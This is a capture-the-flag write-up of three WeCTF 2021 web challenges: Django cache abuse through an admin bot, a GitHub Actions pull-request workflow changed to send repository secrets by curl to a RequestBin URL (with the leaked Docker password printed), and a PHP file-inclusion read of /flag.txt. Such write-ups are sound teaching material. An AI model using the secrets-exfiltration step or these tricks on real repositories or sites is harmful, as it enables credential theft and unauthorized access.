WeCTF 2021

22 Jun 2021

web / cache

Solved with help from: Will Green (Ducky)

Challenge Description

Arrogant Shou thinks Django is the worst web framework and decided to use it like Flask. To support some business logics, he developed some middlewares and added to the Flask-ish Django. One recent web app he developed with this is to display flag to admins. Help us retrieve the flag :)

This challenge requires user interaction. Send your payload to uv.ctf.so

Host 1 (San Francisco): cache.sf.ctf.so

Host 2 (Los Angeles): cache.la.ctf.so

Host 3 (New York): cache.ny.ctf.so

Host 4 (Singapore): cache.sg.ctf.so

Source Code

Tags: Troll

Initial Thoughts

Before looking at the source code, we can attempt to navigate to the site:

404

Interesting, debug mode appears to be enabled. Not exactly a vulnerability, but its nice to have.

Let’s try /index:

index

And /flag:

non-admin flag page

This is about what we expected. Just navigating to /flag on our own shouldn’t be possible anyway… or should it?

Source Code

Upon initial inspection, it looked like all we needed to focus on was in the cache/ directory in the source code.

The wsgi.py file seemed to be the main program running the whole server. It didn’t really tell us too much about how we should go about exploiting the service, though:

import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cache.settings')
application = get_wsgi_application()

The same went for the asgi.py file:

import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cache.settings')
application = get_asgi_application()

Both, however, referenced cache.settings, which would be the settings.py file:

from pathlib import Path
BASE_DIR = Path(__file__).resolve().parent.parent
SECRET_KEY = 'django-insecure-p*sk-&$*0qb^[email protected]_b07a38kzus7d^&)-elk6rmoh1&__6yv^bf'
DEBUG = True
ALLOWED_HOSTS = ["*"]
INSTALLED_APPS = []
MIDDLEWARE = [
    'cache.cache_middleware.SimpleMiddleware',
]
ROOT_URLCONF = 'cache.urls'
TEMPLATES = []
WSGI_APPLICATION = 'cache.wsgi.application'
DATABASES = {}
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
STATIC_URL = '/static/'
DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'

Here, we can see where the server has DEBUG = True, which is why we were seeing the Django debug screen earlier. The SECRET_KEY is really only used for hashing, which, spoiler alert, doesn’t occur in this project.

The main items to focus on here are ROOT_URLCONF and MIDDLEWARE.

ROOT_URLCONF points to urls.py, which contains the following snippet:

FLAG = os.getenv("FLAG")
ADMIN_TOKEN = os.getenv("ADMIN_TOKEN")

def flag(request: HttpRequest):
    token = request.COOKIES.get("token")
    print(token, ADMIN_TOKEN)
    if not token or token != ADMIN_TOKEN:
        return HttpResponse("Only admin can view this!")
    return HttpResponse(FLAG)

def index(request: HttpRequest):
    return HttpResponse("Not thing here, check out /flag.")

urlpatterns = [
    re_path('index', index),
    re_path('flag', flag)
]

We can see the two allowed URLs, flag and index, and their associated code. index doesn’t seem to do anything special and it looks like we have to be an admin to get anything useful from flag. There also do not seem to be any glaring errors in flag() that would allow for any sort of bypass.

Note: The re_path(str, function) call processes str as a regex string. Since there are no beginning and end characters in the flag and index regex strings, as long as the word flag or index are in a path, the url will resolve accordingly. This means that a request to /aaaaaaaaindexaaaaa will send a user to /index.

Next, we turn to the MIDDLEWARE attribute in settings.py, which seems to point to a class called SimpleMiddleware in cache_middleware.py, as seen in the below snippet:

CACHE = {}  # PATH => (Response, EXPIRE)

class SimpleMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request: HttpRequest):
        path = urllib.parse.urlparse(request.path).path
        if path in CACHE and CACHE[path][1] > time.time():
            return CACHE[path][0]
        is_static = path.endswith(".css") or path.endswith(".js") or path.endswith(".html")
        response = self.get_response(request)
        if is_static:
            CACHE[path] = (response, time.time() + 10)
        return response

Middleware, as defined in Django’s documentation, can hook a request to a page and run before the original request code is processed, while also handling the reponse data from the request.

In this case, before the code in urls.py for flag and index are run, the __call__() method is invoked.

It appears as though the __call__() method grabs the path of the URL, and checks if it is used as a key in the CACHE dictionary. If the entry exists, it gets the key value, which seems to be an expiration time, and checks if it has passed. In the case that the expiration time is still not up, the response to the user will be returned from the original response stored in the CACHE, skipping the actual page code in urls.py completely.

To even be added to the CACHE in the first place, the URL must end with .css, .js, or .html. Once the response is added, it is available for 10 seconds.

Solution

The plan of attack is simple.

We can use the admin link checker provided in the description (uv.ctf.so) to have the admin visit the /flag.[html/css/js] URL, thus triggering the cache. Then, we can visit it a few seconds later on our local machine to get the cached version before the expiration time or 10 seconds is reached.

Because other people are probably hitting /flag.[html/css/js] lot, we will be better off using a unique URL. Because of the earlier note about re_path(str, function), we know that as long as the word flag is in the URL, the page will load.

We first have the admin at uv.ctf.so visit the page http://cache.sf.ctf.so/flagasdfgblah.html.

After about 5 seconds have passed, we are able to get the flag from the cache!

flag

Flag: we{[email protected]_u3e_cl0uDF1are}

web / github

Challenge Description

We’ve heard Shou, except from his server, also loves Docker containers. You have gained Shou’s trust and asked to help him further develop his project. We task you to spy on him and retrieve his beloved container. Get yourself added to his GitHub repo here (http://github.ctf.so/)

Note: Container is of name “flag”

Hint: https://docs.docker.com/docker-hub/access-tokens/

Tags: Troll

Setup

Upon clicking the http://github.ctf.so/ link, we were presented with a page asking for our GitHub username to be added to a project as a contributor. I entered my username, dayt0n and then received an email asking if I wanted to become a collaborator:

invite

Once the invitation was accepted, we were granted access to the repo:

repo

Solution

The README.md file describes the repo as “A really welcoming repo that greets you when you do pull request.”

GitHub Actions are a tool within GitHub to automate certain processes when a condition is met. In this instance, it looks like the repo runs an Action each time a pull request is done.

The Actions for this repo can be viewed in the .github/workflows directory. Two files appear in this directory, pr.yml and docker.yml.

pr.yml has the following contents:

name: Say Hi

on: [pull_request]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/[email protected]
    - name: Say Hi
      run: |
        echo "hi!!"

So it looks like this file is the one that runs on every pull request. The only command that is executed is the echo command that greets the user.

docker.yml has some more interesting data:

name: Publish Docker
on: [release]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/[email protected]
    - name: Publish to Registry
      uses: elgohr/[email protected]
      with:
        name: wectfchall/poop
        username: $
        password: $

It looks like on every new release for the GitHub repo, the image is published to the official Docker registry here using credentials stored in GitHub encrypted secrets.

GitHub encrypted secrets “allow you to store sensitive information in your organization, repository, or repository environments” (https://docs.github.com/en/actions/reference/encrypted-secrets).

Knowing this, the plan of attack looks like we just need to leak the $ and $ variables to the output of the Action. To do this, all that is needed is to fork the repo and modify the echo "hi!!" command in pr.yml using the following data:

- uses: actions/[email protected]
    - name: Say Hi
      run: |
        echo "$ : $"

Now, all that is left is to make a commit to the forked repo and initiate a pull request to the original repo.

Then, we can just view the Actions console to see the…

censored

So that didn’t work out as planned.

After taking a closer look at the GitHub Encrypted Secrets documentation, a giant red warning became apparent:

warning

This explains why the output was censored. That is no issue though, since we can just exfiltrate the data using a curl request to a RequestBin.

pr.yml job is changed to:

- uses: actions/[email protected]
    - name: Say Hi
      run: |
        curl "https://requestbin.io/1jur7g91?username=$&password=$"

After adding the changes to the previous pull request, the result of the curl command can be seen on the RequestBin:

requestbin result

Docker credentials:

To pull the flag container, we must first login as wectfchall within the docker command-line application using the following command:

$ docker login --username wectfchall --password c3f6a063-4cff-442e-81d7-1febe6d94cea

Finally, the flag container can be pulled and run using:

$ docker run -it wectfchall/flag

flag

Flag: we{[email protected]_Ac7i0n_3ucks}

web / include

Challenge Description

Yet another buggy PHP website.

Flag is at /flag.txt on filesystem

Host 1 (San Francisco): include.sf.ctf.so

Host 2 (Los Angeles): include.la.ctf.so

Host 3 (New York): include.ny.ctf.so

Host 4 (Singapore): include.sg.ctf.so

Tags: Easy, PHP

Solution

After navigating to the site, we are presented with this page:

page

After taking a look at the documentation for PHP’s include directive, we see that it takes an argument in the form of a file path. The file is then evaluated.

Here, the solution ended up being very simple.

Because the flag file existed at /flag.txt, we could force the PHP file to include it by specifying the URL parameter http://include.sf.ctf.so/?🤯=/flag.txt. Since there is presumably no code to evaluate at /flag.txt, all the program knows to do is to print out what it finds:

flag

Flag: we{[email protected]_/etc/passwd_yyds!}